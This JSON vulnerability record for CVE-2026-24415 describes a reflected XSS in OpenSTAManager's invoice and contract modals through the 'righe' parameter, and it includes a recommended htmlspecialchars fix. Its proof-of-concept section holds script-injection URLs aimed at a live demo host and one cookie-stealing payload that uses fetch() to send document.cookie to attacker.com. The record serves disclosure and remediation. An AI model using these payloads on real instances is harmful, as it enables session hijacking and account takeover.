{"id":"CVE-2026-24415","aliases":["CVE-2026-24415","GHSA-jfgp-g7x7-j25j"],"related":[],"kind":"vulnerability","state":"published","title":"OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter","summary":"OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nMultiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.\n\n**Vulnerable Parameter:** `righe` (GET)\n\n### Details\n\nOpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.\n\n**Vulnerable Code Location:**\nFile: `/modules/contratti/modals/modifica_iva.php` (Line 125)\n\n```php\n<input type=\"hidden\" name=\"righe\" value=\"<?php echo $_GET['righe']; ?>\">\n```\n\nThe `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.\n\n**All Affected Files:**\n\n1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**\n2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**\n3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**\n4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**\n5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**\n6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**\n\n### PoC\n\n**Prerequisites:**\n- Running instance of OpenSTAManager v2.9.8\n- Valid admin credentials (username: admin, password: admin for test instance)\n\n**Step 1: Login**\n```bash\ncurl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Trigger XSS**\nNavigate to the following URL in a browser (or use curl with cookies):\n```\nhttp://localhost:8081/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.domain)</script>\n```\n\n**Tested URLs (All vulnerable):**\n- `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n\n**Expected Result:**\nJavaScript alert popup displays showing the current session cookie, confirming code execution.\n\n**HTML Output (verified on live instance):**\n```html\n<input type=\"hidden\" name=\"righe\" value=\"\"><script>alert(document.cookie)</script>\">\n```\n\n**Verification:**\n\n<img width=\"1260\" height=\"99\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473\" />\n\n<img width=\"2060\" height=\"1180\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0\" />\n\n**Alternative Payloads:**\nSession stealing: `\"><script>fetch('https://attacker.com/?c='+document.cookie)</script>`\n\n### Impact\n\n\n**Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules.\n\n**Attack Scenario:**\n1. Attacker crafts malicious URL with XSS payload\n2. Attacker sends URL to victim via email/chat/phishing\n3. Victim (authenticated user) clicks the link\n4. Malicious JavaScript executes in victim's browser context\n5. Attacker can:\n   - Steal session cookies → Full account takeover\n   - Perform actions on behalf of victim (create/modify/delete records)\n   - Steal CSRF tokens and bypass CSRF protection\n   - Redirect to phishing page\n   - Inject keylogger to capture sensitive data\n   - Modify page content to trick user into revealing credentials\n\n\n**Recommended Fix:**\n```php\n<input type=\"hidden\" name=\"righe\" value=\"<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>\">\n```\n\nApply this fix to all affected files listed in Details section.","format":"markdown","source":"ghsa"},{"lang":"es","text":"OpenSTAManager es un software de gestión de código abierto para asistencia técnica y facturación. OpenSTAManager v2.9.8 y versiones anteriores contienen vulnerabilidades de XSS Reflejado en los modales de modificación de facturas/pedidos/contratos. La aplicación no logra sanear adecuadamente la entrada proporcionada por el usuario desde el parámetro GET righe antes de reflejarla en la salida HTML. El parámetro $_GET['righe'] se imprime directamente en el atributo HTML value sin ninguna sanitización utilizando htmlspecialchars() o funciones equivalentes. Esto permite a un atacante salir del contexto del atributo e inyectar HTML/JavaScript arbitrario.","source":"nvd"}],"published":"2026-03-03T17:39:00.000Z","modified":"2026-06-17T10:23:02.147Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":5.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":5.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"<= 2.9.8","status":"affected"}],"vendor":"devcode-it","product":"openstamanager","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.9.8"}],"ecosystem":"Packagist","package":"devcode-it/openstamanager","purl":"pkg:composer/devcode-it/openstamanager","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.9.8"}],"vendor":"devcode","product":"openstamanager","cpe":"cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24415","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/devcode-it/openstamanager","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-04T21:17:09.755Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-24415","url":"https://www.cve.org/CVERecord?id=CVE-2026-24415","licence":"CVE Terms of Use","modified":"2026-03-04T21:17:18.456Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jfgp-g7x7-j25j","url":"https://github.com/advisories/GHSA-jfgp-g7x7-j25j","licence":"CC-BY-4.0","modified":"2026-03-04T15:26:22.987Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-24415","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24415","licence":"Public domain","modified":"2026-06-17T10:23:02.147Z"}],"updatedAt":"2026-11-25T22:59:15.139Z","epss":{"score":0.00279,"percentile":0.21908,"date":"2026-12-01T12:00:22.000Z"}}